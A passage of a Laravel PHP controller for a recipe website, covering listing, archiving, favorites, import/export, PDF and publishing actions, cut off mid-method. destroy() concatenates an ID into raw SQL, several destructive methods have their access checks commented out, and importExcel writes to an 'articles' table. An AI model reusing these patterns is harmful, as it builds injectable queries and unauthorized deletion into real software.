╚═╝╚═╝ ╚═══╝ ╚══════╝ # Display the archived resources ################################################################################################################## public function archive($year, $month) { // Set the variable so we can use a button in other pages to come back to this page //Session::put('backURL', Route::currentRouteName()); $archives = Recipe::with('user')->whereYear('published_at','=', $year) ->whereMonth('published_at','=', $month) ->where('published_at', '<=', Carbon::now()) ->get(); // Get list of recips by year and month $recipelinks = DB::table('recipes') ->select(DB::raw('YEAR(published_at) year, MONTH(published_at) month, MONTHNAME(published_at) month_name, COUNT(*) recipe_count')) ->where('published_at', '<=', Carbon::now()) ->groupBy('year')->groupBy('month')->orderBy('year', 'desc')->orderBy('month', 'desc')->get(); // Save the URL in a varibale so it can be used in the blog.single page to redirect the user to the archives list page //Session::flash('backUrl', Request::fullUrl()); // Set the variable so we can use a button in other pages to come back to this page //Session::flash('archiveURL', \Request::fullUrl()); Session::put('archiveURL', \Request::fullUrl()); //Session::put('archiveURL', Route::currentRouteName()); return view('recipes.archive')->withArchives($archives)->withYear($year)->withMonth($month)->withRecipelinks($recipelinks); } ################################################################################################################## # █████╗ ██████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗ # ██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝ # ███████║██║ ██║██║ ██║ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ # ██╔══██║██║ ██║██║ ██║ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ # ██║ ██║██████╔╝██████╔╝ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗ # ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function addFavorite($id) { $user = Auth::user()->id; $recipe = Recipe::find($id); $recipe->favorites()->sync([$user], false); Session::flash ('success','The recipe was successfully added to your Favorites list!'); //return redirect()->route('recipes.myFavorites','all'); return redirect()->route('recipes.show', $id); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); // find all categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'recipes'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } return view('recipes.create')->withCategories($cats)->withRef($ref); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ █████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗██║ ██║ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ███████║██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██╔══██║██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║███████╗███████╗ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // Mass Delete selected rows - all selected records ################################################################################################################## public function deleteAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd('TEST_DELETE'); $this->validate($request, [ 'checked' => 'required', ]); //dd('TEST_DELETE'); $checked = $request->input('checked'); //dd($checked); // $article = Article::withTrashed()->findOrFail($checked); //Article::destroy($checked); Recipe::whereIn('id', $checked)->forceDelete(); Session::flash('success','The recipes were deleted successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Permanently remove the specified resource from storage - individual record ################################################################################################################## public static function deleteTrashed($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } //dd($id); $recipe = Recipe::withTrashed()->findOrFail($id); $recipe->forceDelete(); Session::flash ('success','The recipe was deleted successfully.'); return redirect()->route('recipes.trashed'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::findOrFail($id); $recipe->published_at = Null; // Delete related favorites $favorites = DB::select('select * from recipe_user where recipe_id = '. $id, [1]); foreach($favorites as $favorite) { $recipe->favoriteRecipes()->detach($favorite); } $recipe->save(); $recipe->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The recipe was trashed successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██╗ ██╗ ██████╗███████╗██╗ # ██╔══██╗██╔═══██╗██║ ██║████╗ ██║██║ ██╔═══██╗██╔══██╗██╔══██╗ ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ # ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║██║ ██║ ██║███████║██║ ██║ █████╗ ╚███╔╝ ██║ █████╗ ██║ # ██║ ██║██║ ██║██║███╗██║██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║ ██╔══╝ ██╔██╗ ██║ ██╔══╝ ██║ # ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗╚██████╔╝██║ ██║██████╔╝ ███████╗██╔╝ ██╗╚██████╗███████╗███████╗ # ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ ################################################################################################################## public function downloadExcel($type) { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Download"); // return view('errors.403'); // } // $referrer = request()->headers->get('referer'); // //dd($referrer); // if ($referrer == 'http://localhost:8000/recipes/myRecipes') { // $data = Recipe::myRecipes()->get()->toArray(); // // } elseif ($referrer == 'http://localhost:8000/backend/articles'){ // // $data = Article::get()->toArray(); // } else { // $data = Recipe::get()->toArray(); // } if(!checkACL('manager')) { return view('errors.403'); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'recipes.index') { $data = Recipe::published()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'recipes.newRecipes') { $data = Recipe::newRecipes()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'recipes.myRecipes') { $data = Recipe::myRecipes()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'recipes.unpublished') { $data = Recipe::unpublished()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'recipes.future') { $data = Recipe::future()->get()->toArray(); } if(app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName() == 'recipes.trashed') { $data = Recipe::trashedCount()->get()->toArray(); } // Save entry to log file of failure //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") downloaded :: articles"); return Excel::create('Recipes_List', function($excel) use ($data) { $excel->sheet('mySheet', function($sheet) use ($data) { $sheet->fromArray($data); }); })->download($type); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗ ██████╗ █████╗ ████████╗███████╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██║ ██║██████╔╝██║ ██║██║ ███████║ ██║ █████╗ # ██║ ██║██║ ██║██╔═══╝ ██║ ██║██║ ██╔══██║ ██║ ██╔══╝ # ██████╔╝╚██████╔╝██║ ███████╗██║╚██████╗██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // DUPLICATE :: Duplicate the specified resource in storage. ################################################################################################################## public function duplicate($id) { //if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Duplicate"); // return view('errors.403'); //} // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::find($id); $newRecipe = $recipe->replicate(); $newRecipe->user_id = Auth::user()->id; $newRecipe->save(); // change the user_id field to be that of the user that is currently logged in //$newArticle->views = 0; //$newArticle->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") duplicated :: article " . $article->id . " to article ". $newArticle->id); Session::flash ('success','The recipe was duplicated successfully!'); return redirect()->route($ref); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //Session::put('fullURL', \Request::fullUrl()); // Find the article to edit $recipe = Recipe::findOrFail($id); // find all categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'recipes'); })->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } return view('recipes.edit', compact('recipe'))->withCategories($cats); //->withRef($ref); } ################################################################################################################## # ███████╗██╗ ██╗████████╗██╗ ██╗██████╗ ███████╗ # ██╔════╝██║ ██║╚══██╔══╝██║ ██║██╔══██╗██╔════╝ # █████╗ ██║ ██║ ██║ ██║ ██║██████╔╝█████╗ # ██╔══╝ ██║ ██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║███████╗ # ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Display a list of resources that will be published at a later date ################################################################################################################## public function future(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->where('personal', '!=', 1) ->where('published_at','>', Carbon::Now()) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->future() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('recipes.future', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->future()->get(); return view('recipes.future', compact('recipes','letters')); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ // IMPORT :: Show the form for importing entries to storage. ################################################################################################################## public function import() { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Articles / Import"); // return view('errors.403'); // } // Save entry to log file of failure //Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Articles / Import"); return view('recipes.import'); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ################################################################################################################## public function importExcel() { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access :: Admin / Articles / Import"); // return view('errors.403'); // } if(Input::hasFile('import_file')) { $path = Input::file('import_file')->getRealPath(); $data = Excel::load($path, function($reader) { })->get(); if(!empty($data) && $data->count()) { foreach ($data as $key => $value) { $insert[] = [ 'user_id' => $value->user_id, 'category_id' => $value->category_id, 'title' => $value->title, 'description_eng' => $value->description_eng, 'description_fre' => $value->description_fre, 'views' => 0, 'deleted_at' => $value->deleted_at, 'published_at' => $value->published_at, 'created_at' => $value->created_at, 'updated_at' => $value->updated_at, ]; } if(!empty($insert)) { DB::table('articles')->insert($insert); // Save entry to log file of failure //Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") imported :: articles"); Session::flash('success', $data->count() . ' articles imported successfully!'); return redirect()->route('articles.index'); } } } return back(); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index(Request $request, $key=null) { // if(!checkACL('guest')) { // //return view('errors.403'); // abort(403, 'Unauthorized action'); // } // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Recipes / Index"); // } else { // Log::info( getClientIP() . " accessed :: Recipes / index"); // } // Set the variable so we can use a button in other pages to come back to this page Session::put('backURL', Route::currentRouteName()); // Get list of recips by year and month $recipelinks = DB::table('recipes') ->select(DB::raw('YEAR(published_at) year, MONTH(published_at) month, MONTHNAME(published_at) month_name, COUNT(*) recipe_count')) ->where('published_at', '<=', Carbon::now()) ->groupBy('year')->groupBy('month')->orderBy('year', 'desc')->orderBy('month', 'desc')->get(); //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('published_at', '<', Carbon::now()) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } //dd($letters); // if ($key == 'all') { // // Display all the user's recipes plus the one from other users that are not marked as personal/private // $recipes = Recipe::with('user','category')->published() // // ->where('personal','!=',1) // // ->where('published','>=', $pub) // ->orderBy('title', 'asc') // ->get(); // return view('recipes.index', compact('recipes','letters')); // } // if ($key != 'all') { // $recipes = Recipe::with('user','category')->published() // // ->where('personal', '!=', 1) // // ->where('published','>=', $pub) // ->where('title', 'like', $key . '%') // ->orderBy('title', 'asc') // ->get(); // return view('recipes.index', compact('recipes','letters')); // } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category') ->published() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('recipes.index', compact('recipes','letters','recipelinks')); } // No $key value is passed $recipes = Recipe::with('user','category') ->published() ->orderBy('title', 'asc') ->get(); return view('recipes.index', compact('recipes','letters','recipelinks')); // } else { // if ($key == 'all') { // // Display all the user's recipes that are not marked as personal/private // $recipes = Recipe::where('personal','!=',1)->orderBy('title', 'asc')->get(); // return view('recipes.index')->withRecipes($recipes); // } // if ($key != 'all') { // $recipes = Recipe::where('personal', '!=', 1)->where('title', 'like', $key . '%')->get(); // return view('recipes.index')->withRecipes($recipes); // } // } } ################################################################################################################## # ███╗ ███╗ █████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗ █████╗ ████████╗███████╗ # ████╗ ████║██╔══██╗██║ ██╔╝██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║██╔══██╗╚══██╔══╝██╔════╝ # ██╔████╔██║███████║█████╔╝ █████╗ ██████╔╝██████╔╝██║██║ ██║███████║ ██║ █████╗ # ██║╚██╔╝██║██╔══██║██╔═██╗ ██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝██╔══██║ ██║ ██╔══╝ # ██║ ╚═╝ ██║██║ ██║██║ ██╗███████╗ ██║ ██║ ██║██║ ╚████╔╝ ██║ ██║ ██║ ███████╗ # ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function makePrivate($id) { // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); // Set the variable so we can use a button in other pages to come back to this page //Session::put('backURL', Route::currentRouteName()); //Session::put('fullURL', \Request::fullUrl()); $recipe = Recipe::find($id); $recipe->personal = 1; $recipe->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") MADE recipe (" . $recipe->id . ") PRIVATE \r\n", [json_decode($recipe, true)]); Session::flash('success','The recipe was successfully made private'); //return redirect()->route($ref); return redirect()->route('recipes.show', $id); } ################################################################################################################## # ███╗ ███╗██╗ ██╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗███████╗ # ████╗ ████║╚██╗ ██╔╝ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝██╔════╝ # ██╔████╔██║ ╚████╔╝ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ ███████╗ # ██║╚██╔╝██║ ╚██╔╝ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ ╚════██║ # ██║ ╚═╝ ██║ ██║ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚══════╝ // MY FAVORITES :: Display a listing of the resource that have been favorited by a specific user. ################################################################################################################## public function myFavorites() { // Set the variable so we can use a button in other pages to come back to this page Session::put('backURL', Route::currentRouteName()); // find the favorites $favs = DB::table('recipe_user') ->where('user_id','=',Auth::user()->id) ->get(); //dd($favs); // Create an empty array to store the recipes $recipes = []; // Store the recipe values into the $recipes array foreach ($favs as $fav) { $recipes[$fav->id] = Recipe::find($fav->recipe_id); } //dd($recipeIds); // $alphas = DB::table('recipes') // ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) // ->whereIn('id', $recipeIds->recipe->id) // ->orderBy('letter') // ->get(); // dd($alphas); $letters = []; // foreach($alphas as $alpha) { // $letters[] = $alpha->letter; // } //dd($letters); // Sort the recipes array by title // $recipes = array_values(array_sort($recipes, function ($value) { // return $value['title']; // })); return view('recipes.myFavorites', compact('recipes','letters')); } ################################################################################################################## # ███╗ ███╗██╗ ██╗ ██████╗ ███████╗ ██████╗██╗██████╗ ███████╗███████╗ # ████╗ ████║╚██╗ ██╔╝ ██╔══██╗██╔════╝██╔════╝██║██╔══██╗██╔════╝██╔════╝ # ██╔████╔██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║██████╔╝█████╗ ███████╗ # ██║╚██╔╝██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║██╔═══╝ ██╔══╝ ╚════██║ # ██║ ╚═╝ ██║ ██║ ██║ ██║███████╗╚██████╗██║██║ ███████╗███████║ # ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝╚═╝ ╚══════╝╚══════╝ // Display a listing of the resource that belong to a specific user. ################################################################################################################## public function myRecipes($key=null) { // Set the variable so we can use a button in other pages to come back to this page Session::put('backURL', Route::currentRouteName()); if (Auth::check()) { $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('user_id','=', Auth::user()->id) // ->where('published_at', '<', Carbon::now()) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // if ($key == 'all') { // // Display all the user's recipes plus the one from other users that are not marked as personal/private // $recipes = Recipe::with('user','category') // ->where('user_id','=', Auth::user()->id) // ->orderBy('title', 'asc') // ->get(); // return view('recipes.myRecipes', compact('recipes','letters')); // } // if ($key != 'all') { // $recipes = Recipe::with('user','category') // ->where('user_id','=', Auth::user()->id) // ->where('title', 'like', $key . '%') // ->orderBy('title', 'asc') // ->get(); // return view('recipes.myRecipes', compact('recipes','letters')); // } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->myRecipes() ->where('title', 'like', $key . '%') ->orderBy('title', 'asc') ->get(); return view('recipes.myRecipes', compact('recipes','letters')); } // No $key value is passed $recipes = Recipe::with('user','category')->myRecipes()->get(); return view('recipes.myRecipes', compact('recipes','letters')); } } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██████╗ ███████╗ ██████╗██╗██████╗ ███████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██╔════╝██╔════╝██║██╔══██╗██╔════╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██████╔╝█████╗ ██║ ██║██████╔╝█████╗ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔══██╗██╔══╝ ██║ ██║██╔═══╝ ██╔══╝ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║███████╗╚██████╗██║██║ ███████╗███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝╚═╝ ╚══════╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newRecipes(Request $request, $key=null) { if(!checkACL('author')) { return view('errors.403'); } // Set the variable so we can use a button in other pages to come back to this page Session::put('backURL', Route::currentRouteName()); //$alphas = range('A', 'Z'); $alphas = DB::table('recipes') ->select(DB::raw('DISTINCT LEFT(title, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $recipes = Recipe::with('user','category')->newRecipes() ->where('title', 'like', $key . '%') ->get(); return view('recipes.newRecipes', compact('recipes','letters')); } $recipes = Recipe::with('user','category')->newRecipes()->get(); return view('recipes.newRecipes', compact('recipes','letters')); } ################################################################################################################## # ██████╗ ██████╗ ███████╗ ██╗ ██╗██╗███████╗██╗ ██╗ # ██╔══██╗██╔══██╗██╔════╝ ██║ ██║██║██╔════╝██║ ██║ # ██████╔╝██║ ██║█████╗ ██║ ██║██║█████╗ ██║ █╗ ██║ # ██╔═══╝ ██║ ██║██╔══╝ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║ # ██║ ██████╔╝██║ ╚████╔╝ ██║███████╗╚███╔███╔╝ # ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝ // ################################################################################################################## // public function exportPDF() // { // // if(!checkACL('manager')) { // // return view('errors.403'); // // } // $data = Article::get()->toArray(); // return Excel::create('Articles_List', function($excel) use ($data) { // $excel->sheet('mySheet', function($sheet) use ($data) // { // $sheet->fromArray($data); // }); // })->download("pdf"); // } // public function downloadPDF() // { // $pdf = PDF::loadView('articles.pdfView'); // return $pdf->download('articles.pdf'); // } public function pdfview(Request $request) { //$articles = DB::table("articles")->get(); $referrer = request()->headers->get('referer'); if ($referrer == 'http://localhost:8000/backend/recipes/myRecipes') { $data = Recipe::myRecipes()->get(); } else { $data = Recipe::All(); } view()->share('recipes',$data); if($request->has('download')){ $pdf = PDF::loadView('recipes.pdfDownload'); //$pdf->setPaper('A4', 'landscape'); return $pdf->download('recipes.pdf'); } return view('recipes.pdfPreview'); } ################################################################################################################## # ██████╗ ██████╗ ██╗███╗ ██╗████████╗ # ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ # ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ # ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ # ██║ ██║ ██║██║██║ ╚████║ ██║ # ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## public function print($id) { $recipe = Recipe::find($id); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") PRINTED recipe (" . $recipe->id . ")\r\n", [json_decode($recipe, true)]); return view('recipes.print')->withRecipe($recipe); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ################################################################################################################## public function publish($id) { // Pass along the ROUTE value of the previous page //$ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); Session::put('fullURL', \Request::fullUrl()); $recipe = Recipe::find($id); $recipe->published_at = Carbon::now(); $recipe->deleted_at = Null; $recipe->save(); Session::flash ('success','The recipe was successfully published.'); //return redirect()->route($ref); return redirect()->route('recipes.show', $id); } ################################################################################################################## # ██████╗ ██╗ ██╗██████╗ ██╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██╗ # ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██║ # ██████╔╝██║ ██║██████╔╝██║ ██║███████╗███████║ ███████║██║ ██║ # ██╔═══╝ ██║ ██║██╔══██╗██║ ██║╚════██║██╔══██║ ██╔══██║██║ ██║ # ██║ ╚██████╔╝██████╔╝███████╗██║███████║██║ ██║ ██║ ██║███████╗███████╗ # ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ################################################################################################################## public function publishAll(Request $request) { // Pass along the ROUTE 